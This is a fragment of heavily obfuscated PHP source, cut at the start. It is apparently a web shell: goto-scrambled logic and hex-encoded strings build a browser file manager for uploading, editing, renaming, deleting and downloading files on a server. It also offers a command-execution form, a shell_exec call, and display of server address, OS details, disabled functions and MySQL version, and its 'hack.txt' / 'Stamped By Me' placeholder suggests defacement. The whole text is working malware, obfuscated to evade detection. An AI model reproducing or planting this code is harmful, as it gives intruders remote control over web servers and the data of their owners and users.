30)) { goto YkZ08; } goto ZxJHB; OrZ4o: C0Md8: goto i4dlG; gFmxG: echo "\106\x61\x69\x6c\x65\x64\40\164\x6f\x20\165\x6e\x7a\151\x70\40\146\x69\x6c\x65\40\x75\163\x69\156\147\40\x63\x6f\x6d\x6d\141\x6e\x64\x20\154\151\156\x65\72\40{$QI9IR}\xa"; goto jGCGI; koPNe: A1Aby: goto cx2iT; nEtKu: xNsqm: goto J2Z1Z; waKUT: goto kWGcU; goto fsnFz; YBovb: zbRWn: goto Gi67v; aIh43: echo "\74\x2f\164\142\x6f\144\171\76\x3c\x2f\164\x61\142\154\145\x3e\12"; goto EkYla; VJrQl: E3PXK: goto PnUlf; ywBVP: F2Y3T("\106\x6f\x6c\144\145\x72\x20" . basename($_POST["\155\141\x6b\145\144\x69\162"]) . "\x20\x63\x72\145\x61\x74\145\x64\41"); goto S_wCk; POOFd: echo $_SERVER["\x53\x45\x52\126\105\122\137\101\104\x44\122"]; goto stDsX; hJOeL: echo substr(@php_uname(), 0, 120); goto ID3JS; pur8d: iyd7_: goto YBovb; YvqIy: echo "\124\x68\x65\40\47\x75\156\172\x69\160\x27\x20\x63\x6f\155\x6d\141\156\x64\x20\151\163\40\x61\166\141\151\154\141\142\154\x65\72\x20" . trim($K1rI2) . "\xa"; goto QOq4Y; ZbLg4: echo "\x3c\x74\x61\x62\154\145\x20\163\x74\x79\154\x65\x3d\x22\x77\x69\144\164\x68\72\61\60\x30\x25\42\x20\x63\x6c\141\x73\x73\75\42\164\x61\142\x6c\145\x20\155\x62\x2d\x32\40\151\x73\55\x66\x61\x6d\x69\x6c\171\55\155\x6f\156\x6f\163\x70\x61\x63\145\42\76\xa\x20\x20\74\164\x68\x65\x61\144\40\x63\x6c\141\x73\163\x3d\x22\x74\x65\x78\164\x2d\154\x69\147\150\164\42\76\xa\x20\40\40\x20\74\x74\x72\76\74\164\150\x3e\116\x61\155\x65\74\x2f\x74\x68\x3e\x3c\164\150\76\x53\151\172\145\x3c\57\164\x68\76\74\x74\150\76\120\x65\x72\155\x69\163\x73\151\157\156\74\57\x74\150\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\40\74\164\150\x3e\x4c\141\163\164\40\115\157\144\151\146\151\x65\x64\74\57\x74\x68\76\xa\x20\x20\40\40\74\164\x68\76\101\143\164\x69\x6f\156\x3c\57\164\150\76\74\x2f\x74\162\76\12\x20\40\x3c\57\164\150\x65\141\144\x3e\xa\40\x20\74\164\142\157\144\x79\40\143\x6c\141\163\x73\x3d\x22\x74\145\170\x74\55\154\151\147\150\x74\x22\76\12"; goto dWgq8; cSOLn: if (!isset($_POST["\x65\x78\145\143\155\144"])) { goto oOGUu; } goto m14ts; g2rop: goto zBzhl; goto udm3W; eIumX: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\x64\145\162" : "\x66\x69\x6c\x65"; goto cItqs; xuNK1: goto Rhx7x; goto FmM8h; GSvI4: function UGWhk($jN21H) { goto L_k5J; j7Ays: $R33Pj = strlen($jN21H) - 1; goto ey6fU; JP5XN: if (!($zErae < $R33Pj)) { goto hAfVm; } goto eMPv2; g_SxY: $zErae += 2; goto tsIzK; tsIzK: goto X4VeH; goto e_kB5; tjy3C: return $YcdOo; goto YvCsc; z8dnR: eUOtl: goto g_SxY; mLCCo: X4VeH: goto JP5XN; eMPv2: $YcdOo .= chr(hexdec($jN21H[$zErae] . $jN21H[$zErae + 1])); goto z8dnR; e_kB5: hAfVm: goto tjy3C; L_k5J: $YcdOo = ''; goto j7Ays; ey6fU: $zErae = 0; goto mLCCo; YvCsc: } goto Qnu8o; Yzggh: QrVTg: goto H351Z; FOIiG: YkZ08: goto sJ72V; k9e4Z: echo uGWhK($_GET["\x6e"]); goto Y43gU; lqGWm: HdZ03: goto Ygctf; vwrwf: die($oJwbz); goto usn9j; zgjy7: $huZFR = fopen(basename($_POST["\x6d\141\153\x65\146\x69\154\x65"]), "\x77") or die(F2y3T("\106\x61\151\x6c\145\144\x20\164\x6f\x20\143\x72\x65\x61\x74\145\40\146\x69\x6c\x65\41", 0)); goto sgdpK; oIhoP: echo "\x20\40\x20\40\74\57\144\x69\166\x3e\12\40\40\x3c\x2f\x64\151\x76\76\12\x20\40\74\x66\x6f\162\x6d\40\155\145\x74\150\157\144\75\42\x70\157\163\164\x22\40\x65\x6e\x63\x74\171\x70\145\x3d\42\x6d\165\x6c\x74\x69\x70\x61\162\164\x2f\x66\157\x72\155\x2d\144\141\x74\141\x22\40\x63\x6c\x61\163\163\x3d\42\146\151\x6c\145\x20\x69\163\x2d\163\x75\143\143\145\163\163\x20\151\163\x2d\x64\x61\x72\153\x20\155\x62\x2d\x30\40\155\x6c\55\x61\165\x74\157\x22\x3e\12\x20\40\40\x20\74\154\141\142\x65\154\x20\143\x6c\x61\163\x73\x3d\42\x66\x69\x6c\x65\x2d\x6c\x61\142\x65\154\42\76\xa\40\40\40\x20\40\x20\74\151\x6e\x70\x75\164\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\145\x2d\151\156\160\165\x74\x22\40\x74\171\160\x65\75\42\146\x69\x6c\x65\42\x20\x6e\141\155\145\x3d\x22\146\x5b\x5d\x22\40\157\x6e\143\150\x61\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\x74\x28\x29\42\x20\155\x75\154\164\151\x70\x6c\x65\x20\x2f\x3e\xa\40\40\40\x20\x20\x20\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\146\151\154\145\x2d\143\x74\141\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\42\146\151\154\x65\x2d\151\x63\157\156\42\x3e\12\x20\40\x20\x20\x20\x20\40\40\40\40\74\151\40\143\154\x61\163\163\x3d\x22\x62\151\40\x62\x69\55\x63\x6c\x6f\x75\144\55\165\x70\154\x6f\x61\144\x2d\x66\x69\154\x6c\x20\x69\163\x2d\163\151\172\x65\55\x35\x22\x20\76\x3c\57\151\x3e\12\x20\40\40\40\40\x20\x20\x20\x3c\x2f\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x66\x69\154\145\55\x6c\x61\142\x65\x6c\42\76\x55\x70\x6c\157\141\x64\x20\106\151\154\145\163\342\200\xa6\74\x2f\x73\160\x61\156\76\xa\40\x20\x20\x20\40\x20\74\x2f\163\160\x61\x6e\x3e\12\40\x20\x20\40\74\x2f\x6c\x61\142\145\x6c\76\xa\x20\x20\74\57\146\x6f\162\x6d\x3e\xa\x3c\x2f\x64\x69\x76\76\xa\xa\xa\x3c\141\x72\x74\151\143\x6c\x65\x20\x63\x6c\141\163\x73\x3d\x22\155\164\x2d\x32\42\76\12"; goto GGNqi; yAZoh: echo m9jKO; goto o7FZW; lQQJ8: $Q0FGf = "\x30\61\x32\63\x34\x35\x36\67\x38\71\x61\x62\x63\x64\x65\x66\147\150\x69\x6a\153\154\x6d\156\x6f\x70\161\x72\163\164\165\166\x77\x78\171\x7a"; goto IZHGt; Gq4B7: f2Y3t("\146\157\154\x64\x65\162\40\144\145\154\145\164\x65\x64\x20\x73\165\143\143\145\x73\x73\146\x75\x6c\x6c\x79"); goto NVoZA; He1Ij: $qJtBd->close(); goto eLrPW; DMRFr: goto sl6BV; goto V8laz; Bsshy: echo UGwHK($_GET["\x64"]); goto lhxFV; tzxxE: fclose($huZFR); goto dQvpc; KjXt9: dNIIH: goto NbQpR; lhxFV: echo "\x3c\x2f\154\141\x62\145\x6c\x3e\12\40\x20\x20\40\x20\x20\x3c\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\x68\151\x64\x64\x65\156\x22\x20\156\141\155\145\x3d\x22\143\147\x66\x22\x20\x76\141\154\165\x65\x3d\42"; goto rwbJh; IJK5e: if (!is_dir(UgwHk($_GET["\x70"]) . "\x2f" . uGWhk($_GET["\144"]))) { goto lA959; } goto HD3Iq; Und2g: $I8vAC = ''; goto eEOh3; HJu9V: ezLha: goto r2NiQ; zl_wE: unlink($E5Z_f); goto qgmWb; NzkH4: isset($_POST["\x73"]) ? $mWJjd[16]($keVpk . "\x2f" . UgWHk($_GET["\x6e"]), $_POST["\156"]) ? f2Y3t("\163\165\x63\x63\x65\163\x73\146\165\x6c\x6c\171\40\143\150\x61\x6e\x67\x65\x64\x20\x74\x68\x65\40\146\157\154\144\145\162\40\156\141\155\x65") : f2y3t("\146\141\x69\154\x65\144\40\x74\x6f\x20\143\x68\x61\156\147\x65\x20\164\150\145\x20\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145", 0) : null; goto CRCRe; ab_vv: foreach ($C1o8f as $dU_aF) { goto dalmg; Wh9AQ: $FZL46 = $FZL46 > 1024 ? round($FZL46 / 1024, 2) . "\74\x62\76\115\x42\x3c\x2f\142\76" : $FZL46 . "\x3c\142\76\x4b\x42\74\x2f\x62\76"; goto ejXXS; ejXXS: echo "\74\164\162\76\74\x74\x64\x20\143\x6c\141\x73\x73\x3d\47\x69\x73\x2d\146\x6c\145\x78\x27\x20\x73\164\x79\154\145\75\x27\147\141\160\x3a\x34\160\170\x27\x3e\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . siRA4($keVpk) . "\46\x61\x3d" . Sira4("\x76\x69\145\167") . "\46\x6e\x3d" . SIra4($dU_aF) . "\x22\76\x3c\151\40\x63\x6c\141\163\x73\75\42\142\151\40\142\151\x2d\x66\x69\154\x65\55\145\141\162\x6d\x61\162\x6b\55\x66\151\x6c\154\42\40\x64\x61\x74\141\55\156\x61\x6d\x65\x3d\x27{$dU_aF}\47\x3e\74\x2f\151\x3e\x20{$dU_aF}\74\x2f\141\76\x3c\x2f\164\144\76\x3c\x74\144\x3e{$FZL46}\74\x2f\164\x64\76\x3c\x74\x64\x3e\x3c\x61\40\x68\x72\145\146\x3d\x27\x3f\160\75" . siRA4($keVpk) . "\x26\x6e\75" . SIra4($dU_aF) . "\x26\x63\x68\155\x6f\x64\146\75\61\x27\x3e\74\146\x6f\156\x74\x20\143\157\154\x6f\162\x3d\x22" . ($mWJjd[8]("{$keVpk}\x2f{$dU_aF}") ? "\43\x30\60\146\x66\x30\x30" : (!$mWJjd[9]("{$keVpk}\x2f{$dU_aF}") ? "\x72\x65\144" : null)) . "\x22\x3e" . iYzXR("{$keVpk}\x2f{$dU_aF}") . "\74\57\146\x6f\x6e\x74\76\74\x2f\141\x3e\x3c\57\x74\x64\76\74\164\144\76" . $mWJjd[19]("\131\55\155\x2d\144\x20\110\x3a\x69", $mWJjd[20]("{$keVpk}\x2f{$dU_aF}")) . "\74\x2f\x74\144\76\x3c\x74\x64\76\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x22\151\163\55\x66\x6c\x65\x78\40\152\165\x73\164\151\x66\x79\x2d\143\x6f\x6e\x74\x65\x6e\x74\55\x62\145\x74\x77\x65\145\x6e\42\40\163\x74\171\154\145\75\x27\x67\x61\160\72\x38\160\170\47\x3e\x3c\141\40\143\x6c\x61\x73\163\75\47\x62\165\164\164\x6f\x6e\x20\x69\163\55\x77\141\162\156\151\x6e\147\40\151\163\55\163\155\x61\154\154\x20\160\170\55\62\40\160\171\x2d\x30\47\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . siRA4($keVpk) . "\x26\141\75" . siRA4("\145\x64\151\x74") . "\46\156\75" . sirA4($dU_aF) . "\42\76\x3c\151\40\143\154\x61\x73\x73\x3d\x22\x62\x69\x20\x62\x69\55\160\145\x6e\143\151\154\x2d\x66\x69\154\154\x20\x69\163\x2d\163\x69\x7a\x65\x2d\x36\40\155\x72\x2d\x31\x22\76\x3c\x2f\x69\76\x20\x45\x64\151\x74\x3c\x2f\x61\76\x3c\x61\40\143\154\x61\163\x73\75\x27\142\x75\164\164\x6f\156\40\x69\x73\x2d\151\x6e\146\x6f\x20\x69\x73\55\163\x6d\x61\154\154\40\160\x78\55\x32\40\x70\171\x2d\60\47\40\150\x72\x65\x66\75\42\77\160\x3d" . sirA4($keVpk) . "\46\x61\x3d" . Sira4("\x72\145\156\141\x6d\x65") . "\x26\x6e\75" . SIrA4($dU_aF) . "\x26\164\75\x66\42\76\74\151\40\x63\154\x61\163\163\75\42\151\x20\142\x69\55\x69\x6e\160\x75\x74\55\x63\x75\162\x73\157\162\x2d\164\x65\170\x74\40\x69\x73\x2d\163\151\x7a\x65\x2d\66\x20\x6d\162\x2d\x31\42\76\74\x2f\x69\76\40\x52\x65\x6e\141\155\145\x3c\x2f\141\x3e\74\141\x20\143\154\141\163\x73\x3d\47\x62\x75\164\x74\x6f\x6e\40\x69\163\55\x6c\151\x6e\153\x20\151\163\x2d\x73\x6d\141\x6c\154\40\160\x78\x2d\62\x20\160\171\55\60\47\40\x68\162\x65\146\x3d\42\77\160\75" . sira4($keVpk) . "\46\156\x3d" . Sira4($dU_aF) . "\x26\x64\x6f\167\156\x6c\x6f\141\144" . "\42\x3e\x3c\151\x20\x63\x6c\x61\163\x73\75\x22\142\x69\x20\142\151\55\x63\154\157\x75\144\55\141\x72\162\x6f\x77\55\144\x6f\167\x6e\x2d\x66\151\154\x6c\40\151\x73\55\x73\151\172\x65\55\x36\40\155\162\x2d\61\42\76\x3c\57\x69\x3e\40\104\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\74\141\x20\143\154\x61\x73\163\x3d\x27\x62\x75\x74\164\157\156\40\151\x73\55\144\141\x6e\x67\145\162\x20\151\163\x2d\x73\x6d\141\154\154\x20\160\x78\55\62\x20\160\x79\55\60\x27\40\150\162\145\146\x3d\x22\x3f\160\75" . sIra4($keVpk) . "\x26\x74\75\146\x26\141\x3d" . sirA4("\x64\x65\154\x65\164\x65") . "\x26\156\75" . sIRa4($dU_aF) . "\42\40\x64\x61\x74\141\55\x74\x79\160\145\x3d\42\x66\x69\x6c\145\x22\76\74\151\40\143\x6c\x61\163\163\75\42\x62\x69\x20\142\x69\x2d\x74\162\x61\x73\150\55\146\x69\154\154\x20\x69\163\55\163\x69\x7a\x65\55\66\x20\x6d\x72\x2d\61\42\x3e\74\57\151\76\x20\104\x65\x6c\x65\x74\x65\74\57\x61\76\74\57\x64\151\166\76\74\x2f\164\144\76\74\57\164\162\x3e"; goto pa5Hr; z65fV: goto u4dL2; goto aVM9E; dalmg: if ($mWJjd[7]("{$keVpk}\57{$dU_aF}")) { goto w54e1; } goto z65fV; dmBud: $FZL46 = $mWJjd[10]("{$keVpk}\x2f{$dU_aF}") / 1024; goto j3Z1s; pa5Hr: u4dL2: goto V1Cgh; j3Z1s: $FZL46 = round($FZL46, 1); goto Wh9AQ; aVM9E: w54e1: goto dmBud; V1Cgh: } goto sR1SU; oIwRl: echo "\47\x29\x3b\141\x6c\145\x72\x74\x28\x27\103\157\160\151\145\x64\x20\x74\x6f\40\x63\154\151\x70\x62\157\x61\x72\144\47\x29\73\42\40\143\154\x61\163\163\x3d\42\x69\163\x2d\x66\141\x6d\151\154\x79\55\x6d\157\x6e\157\x73\160\141\x63\145\40\x62\x75\x74\164\x6f\x6e\40\x69\x73\x2d\x70\x72\151\x6d\x61\162\x79\40\x69\163\55\151\x6e\166\x65\162\x74\145\x64\40\x70\x6c\x2d\62\40\151\x73\55\157\165\164\x6c\x69\x6e\x65\x64\x22\76\12\x20\x20\40\40\40\40\40\40\74\142\x20\143\154\x61\x73\163\x3d\x22\164\x61\x67\40\x69\163\55\x70\x72\151\155\141\x72\171\40\x6d\162\55\62\42\x3e\x53\x65\x72\x76\145\162\x20\x53\157\x66\x74\x77\141\x72\x65\74\x2f\142\x3e\12\x20\40\40\40\x20\40\x20\40\74\156\x6f\x62\162\76"; goto wgLuw; usn9j: e3VtV: goto gxKiv; qE85o: if (!file_exists(uGwhk($_GET["\x70"]) . "\57" . uGWHK($_GET["\156"]))) { goto J_eMu; } goto DJowL; IUsOc: echo "\x20\174\x20\x4d\x79\x53\121\114\x20\72\x20"; goto tpaVG; sogkV: echo "\74\x2f\156\157\x62\162\76\74\57\154\x69\x3e\12\40\40\40\x20\74\154\151\76\123\x65\x72\x76\145\162\40\123\157\146\x74\167\141\162\x65\40\x3a\x20\74\156\x6f\x62\x72\76"; goto CE65j; rkBN3: $q5oCr = preg_replace("\57" . SiRa4($_SERVER["\x44\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"]) . "\57\x69", '', $_GET["\160"]); goto hVz2W; td1r3: echo "\x3c\x2f\x6e\157\x62\162\76\x3c\x2f\x6c\151\76\12\x20\40\x20\40\x3c\154\x69\76\104\151\163\x61\x62\x6c\x65\x64\x20\x66\x75\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\156\157\142\162\76"; goto ezNsH; Rk1K9: if (!$mWJjd[12]($FK4d6)) { goto t9eud; } goto Fnjyw; EkYla: PmSkv: goto dW_tO; W2gVX: Dq1Td: goto ZbLg4; Uoc5T: if ($uKjJE == "\x65\x64\151\x74") { goto hlaFx; } goto DccwL; vbN4c: $uKjJE = UgWhK($_GET["\x61"]); goto RU3J2; dWgq8: $C1o8f = $mWJjd[5]($C1o8f($keVpk), ["\x2e", "\x2e\56"]); goto ThnZz; lNNW1: if (isset($_GET["\160"])) { goto Zdbyj; } goto zgjy7; OTlAe: $zErae++; goto DMRFr; EJLF0: if (is_dir($_POST["\155\141\153\145\x64\151\162"])) { goto s1Yh0; } goto bXfrx; J2Z1Z: echo "\x3c\57\x64\151\166\76"; goto eaSXg; gxKiv: $fKgA3 = "\x74\x65\163\164\x5f\x63\157\155\155\141\x6e\x64\x2e\x7a\151\x70"; goto n6diT; KIbsI: J_eMu: goto znQki; tpaVG: echo nUt1O(); goto OKn_g; bXfrx: if (!mkdir(basename($_POST["\x6d\x61\x6b\145\x64\151\162"]))) { goto EhEmv; } goto ywBVP; aEVGs: function bl7zL($hKgYg) { goto KoENY; UXnmH: jjwP5: goto YymOP; YymOP: array_map("\x64\x65\x6c\x64\x69\162", glob($hKgYg . DIRECTORY_SEPARATOR . "\173\x2c\56\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto gyCAM; ueeNg: if ($mWJjd[6]($hKgYg)) { goto jjwP5; } goto DN98j; uHTAT: return; goto Lsvv_; PuxGU: if (!(trim(pathinfo($hKgYg, PATHINFO_BASENAME), "\56") === '')) { goto hNmOj; } goto uHTAT; gyCAM: rmdir($hKgYg); goto d9V3X; KoENY: global $mWJjd; goto PuxGU; DN98j: unlink($hKgYg); goto CdqQN; Lsvv_: hNmOj: goto ueeNg; CdqQN: goto BleDP; goto UXnmH; d9V3X: BleDP: goto Wx7Yi; Wx7Yi: } goto VLAWb; GGNqi: if (!isset($_GET["\141"])) { goto Dq1Td; } goto Gnh_S; BCVk_: if (!isset($_GET["\x70"])) { goto xYS3g; } goto rkBN3; d7XNG: goto iyd7_; goto cgrAg; Cq9ID: echo "\x3c\41\x64\157\143\164\x79\160\145\x20\150\164\x6d\x6c\x3e\xa\74\150\164\x6d\154\40\x6c\x61\156\x67\x3d\x22\x65\156\42\x3e\xa\40\x20\x3c\x68\145\141\144\x3e\12\x20\x20\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\155\x65\x3d\42\164\150\x65\155\x65\55\143\157\154\157\162\x22\x20\x63\x6f\x6e\x74\145\x6e\164\x3d\42\162\145\144\x22\x3e\12\40\x20\x20\40\74\155\x65\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\x65\167\x70\x6f\162\164\x22\40\x63\x6f\156\164\x65\x6e\164\75\x22\167\151\144\164\x68\75\144\x65\166\151\x63\x65\55\167\x69\144\164\x68\x2c\x20\151\x6e\151\x74\151\x61\154\x2d\163\x63\141\154\x65\75\60\x2e\x36\x30\54\x20\163\150\162\151\156\x6b\55\x74\157\55\x66\151\x74\75\x6e\157\42\76\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\x65\x6c\x3d\42\163\x74\x79\x6c\x65\x73\150\145\x65\164\x22\40\150\162\145\146\x3d\42\150\x74\x74\x70\x73\x3a\57\57\x63\144\x6e\x2e\152\163\x64\145\154\x69\166\162\56\x6e\x65\164\57\x6e\x70\155\x2f\142\x75\154\x6d\141\x40\x31\56\60\x2e\62\57\143\x73\x73\x2f\x62\165\154\155\x61\x2e\x6d\151\x6e\x2e\143\163\163\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\154\x65\x73\150\145\x65\164\x22\40\x68\162\x65\146\x3d\42\x68\x74\164\x70\x73\72\57\57\x63\x64\x6e\x2e\x6a\163\144\145\x6c\x69\166\162\x2e\x6e\145\164\57\x6e\160\x6d\57\142\157\157\164\x73\164\162\x61\x70\x2d\x69\143\157\156\x73\x40\61\56\x31\x31\56\x33\x2f\146\x6f\156\164\x2f\x62\157\157\164\x73\164\x72\x61\x70\x2d\151\143\x6f\156\x73\56\x6d\x69\x6e\x2e\x63\x73\x73\42\76\12\x20\40\40\x20\74\x6c\151\156\153\40\x68\162\145\146\75\x22\150\164\x74\x70\163\72\x2f\57\x63\144\x6e\56\x6a\163\144\145\x6c\151\x76\x72\56\156\145\164\x2f\x6e\x70\155\57\x40\145\170\165\x61\x6e\x62\x6f\57\x66\x69\154\145\55\x69\x63\x6f\156\163\55\152\x73\100\154\x61\164\x65\x73\x74\x2f\144\x69\x73\x74\57\x63\x73\x73\57\146\151\154\x65\55\151\x63\x6f\x6e\163\x2e\155\151\x6e\x2e\x63\x73\x73\42\x20\162\x65\x6c\75\42\163\164\171\x6c\145\x73\150\145\145\164\42\x3e\xa\12\x20\40\x20\x20\x3c\164\151\164\x6c\145\76"; goto AMrTf; HD3Iq: fgYw1($_POST["\143\147\146"], $_POST["\x63\157\x64\x65\170"]); goto LNZmW; cx2iT: echo "\74\146\x6f\162\x6d\40\155\145\x74\150\157\144\x3d\42\160\157\163\164\42\x20\x63\x6c\x61\163\x73\75\42\142\157\x78\x22\40\x73\x74\x79\x6c\145\x3d\x22\142\157\x72\144\x65\162\x3a\62\x70\170\x20\x73\x6f\154\151\144\x20\x68\x73\154\x28\61\67\x31\x2c\40\61\60\60\45\x2c\x20\61\66\45\x29\x22\x3e\12\40\x20\74\x68\x34\40\x63\154\141\163\x73\75\x22\x69\163\55\163\151\x7a\145\55\65\x20\x68\x61\x73\55\x74\145\x78\x74\55\x77\x65\151\147\x68\x74\55\x62\157\154\144\x20\x68\x61\163\55\x74\145\170\x74\55\x70\x72\151\x6d\141\162\171\x20\155\x62\55\x34\42\x3e\x43\162\x65\141\x74\145\40\116\145\x77\40\x46\x6f\154\144\145\162\74\57\150\x34\x3e\12\x20\x20\74\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\x69\145\154\144\42\x3e\xa\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\146\157\162\75\x22\x6e\x22\40\143\x6c\x61\x73\163\75\x22\x6c\x61\142\145\x6c\42\x3e\x4e\x61\155\x65\74\x2f\154\141\x62\x65\154\76\12\x20\x20\40\40\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\x65\x3d\x22\156\x22\x20\151\x64\75\42\x6e\x22\40\143\154\141\163\163\75\x22\x69\x6e\x70\x75\164\42\x20\x61\x75\x74\157\x63\x6f\155\160\154\x65\x74\145\75\42\157\x66\146\x22\76\12\x20\x20\x3c\x2f\144\151\166\x3e\12\x20\40\74\x62\x75\164\x74\x6f\156\40\164\171\x70\145\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\x6d\x65\75\42\163\x22\x20\143\154\x61\x73\163\75\x22\x62\165\x74\x74\157\x6e\40\x69\x73\x2d\x70\x72\151\155\141\162\171\42\x3e\103\x72\145\141\164\145\74\57\142\165\x74\164\x6f\x6e\76\xa\74\x2f\146\157\162\155\76\xa"; goto C_GN8; CzNJw: T17o4: goto efyrq; hB10d: $keVpk = $mWJjd[2](); goto ppGjr; RYjUz: function sIra4($jN21H) { goto wv1BN; PBSAn: eiVC8: goto LKaAH; XsSUD: e7xAP: goto voRJy; t4XU4: UQ2Na: goto OgPc4; YjgWV: goto eiVC8; goto XsSUD; YvCEs: $YcdOo .= dechex(ord($jN21H[$zErae])); goto t4XU4; wv1BN: $YcdOo = ''; goto ff7B0; LKaAH: if (!($zErae < strlen($jN21H))) { goto e7xAP; } goto YvCEs; ff7B0: $zErae = 0; goto PBSAn; OgPc4: $zErae++; goto YjgWV; voRJy: return $YcdOo; goto jsoRn; jsoRn: } goto GSvI4; RXCC4: goto GvegE; goto nXISj; eaSXg: goto PmSkv; goto W2gVX; A6yqx: if (empty($K1rI2)) { goto H2eZY; } goto YvqIy; r5Ado: echo "\x20\x20\74\146\157\x72\x6d\40\155\145\x74\150\x6f\x64\x3d\42\x70\157\163\x74\42\40\x63\x6c\141\x73\x73\x3d\42\x62\x6f\170\42\x20\163\164\x79\154\x65\x3d\42\142\x6f\x72\144\145\x72\x3a\x32\160\x78\x20\163\157\154\151\144\40\x68\x73\x6c\50\x31\67\61\x2c\40\61\x30\60\45\x2c\40\61\x36\x25\51\42\76\12\40\x20\x20\40\74\x68\64\x20\x63\154\x61\x73\x73\x3d\x22\x69\163\x2d\x73\151\x7a\x65\55\x35\40\x68\141\163\55\164\145\170\x74\55\167\145\151\x67\x68\x74\55\142\157\154\144\40\x68\141\x73\55\164\x65\170\x74\55\x70\x72\x69\155\141\162\171\40\x6d\142\x2d\64\42\76\x43\162\145\x61\164\145\x20\116\x65\167\40\x46\151\x6c\145\x3c\57\x68\64\76\xa\40\x20\x20\40\74\144\x69\x76\40\x63\x6c\141\163\x73\75\x22\146\151\145\x6c\144\42\x3e\12\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\x20\x66\157\x72\75\x22\x6e\42\x20\x63\154\141\163\x73\75\42\154\x61\x62\145\154\42\76\x46\151\x6c\x65\156\x61\x6d\x65\74\x2f\154\x61\142\145\154\76\xa\40\40\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\40\x6e\141\x6d\x65\75\x22\x6e\x22\x20\x69\x64\x3d\x22\156\42\x20\143\x6c\x61\163\x73\75\42\151\156\160\x75\x74\x22\x20\160\154\141\143\x65\x68\x6f\154\144\x65\162\x3d\x22\x68\141\143\x6b\56\164\x78\164\x22\76\xa\x20\x20\40\x20\x3c\57\144\x69\166\x3e\xa\x20\x20\x20\40\x3c\144\151\166\x20\143\154\x61\163\x73\x3d\42\146\x69\145\x6c\x64\42\x3e\12\40\x20\40\x20\40\x20\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\x22\x63\x74\x6e\42\x20\143\x6c\141\x73\x73\x3d\x22\x6c\141\142\x65\154\42\76\x43\x6f\x6e\164\145\x6e\164\x3c\57\154\x61\x62\x65\x6c\x3e\12\40\40\x20\40\40\40\x3c\x74\x65\x78\x74\x61\162\x65\x61\40\163\x74\171\154\x65\x3d\x22\x72\145\x73\151\x7a\x65\72\156\x6f\x6e\145\42\x20\x6e\x61\155\x65\x3d\42\x63\x74\x6e\x22\x20\x69\x64\x3d\42\143\164\156\x22\x20\x63\157\154\163\75\42\x33\x30\42\x20\x72\x6f\167\x73\75\42\61\60\x22\40\x63\154\141\x73\x73\x3d\42\x74\145\170\x74\141\x72\145\141\x22\40\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\43\x20\123\164\x61\155\160\145\x64\x20\x42\x79\40\115\145\42\76\74\x2f\x74\145\x78\164\x61\162\x65\141\76\xa\40\x20\40\40\x3c\57\144\x69\x76\x3e\12\x20\40\40\40\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x6e\x61\155\x65\75\x22\x73\42\40\143\154\141\163\163\x3d\42\x62\165\164\x74\x6f\x6e\40\151\x73\x2d\160\162\x69\155\141\x72\171\42\76\103\162\x65\141\164\x65\x3c\57\x62\165\164\164\157\x6e\76\xa\40\x20\74\57\x66\x6f\x72\x6d\76\12\xa"; goto AqqqY; rcEfg: goto dR8cX; goto Qm8jY; Vk0NB: echo nut1o(); goto F5940; i4dlG: VAoSI: goto OTlAe; NVoZA: XD1zL: goto xLpxC; rA9Hj: $bP9ht = shell_exec("\172\x69\160\x20{$fKgA3}\40{$E5Z_f}\40\62\76\46\61"); goto qG05B; PC10j: F2Y3T("\x66\151\x6c\145\40\146\x61\151\x6c\145\144\x20\164\157\x20\165\160\x6c\x6f\141\144", 0); goto ilodd; AMrTf: echo m9jKO; goto hXpWe; nycFR: kWGcU: goto VrT_s; txAy7: die($oJwbz); goto ncRkG; bmtvF: echo TA6a_(); goto qQmdQ; CRCRe: goto xNsqm; goto Px60m; yzNGs: HNYAM: goto K_MOx; ncRkG: uskpD: goto PIAej; fWCEd: echo "\x3c\57\154\x61\142\145\x6c\x3e\12\11\11\74\151\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\42\143\147\146\42\40\x76\x61\x6c\x75\145\75\42"; goto G87Ww; efyrq: echo "\124\x68\145\x20\x27\172\x69\160\47\40\143\x6f\x6d\155\x61\x6e\144\40\151\163\x20\156\157\164\40\141\x76\x61\151\154\141\142\x6c\x65\40\157\x6e\40\164\x68\x69\x73\40\163\145\162\x76\145\x72\x2e\xa"; goto txAy7; Ii6qh: $zErae = 0; goto VJrQl; tvfll: echo "\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\160\170\55\x32\x20\x70\x79\55\62\42\x3e\12"; goto nPlIh; KBqBV: echo substr(@php_uname(), 0, 120); goto sogkV; zysIk: echo 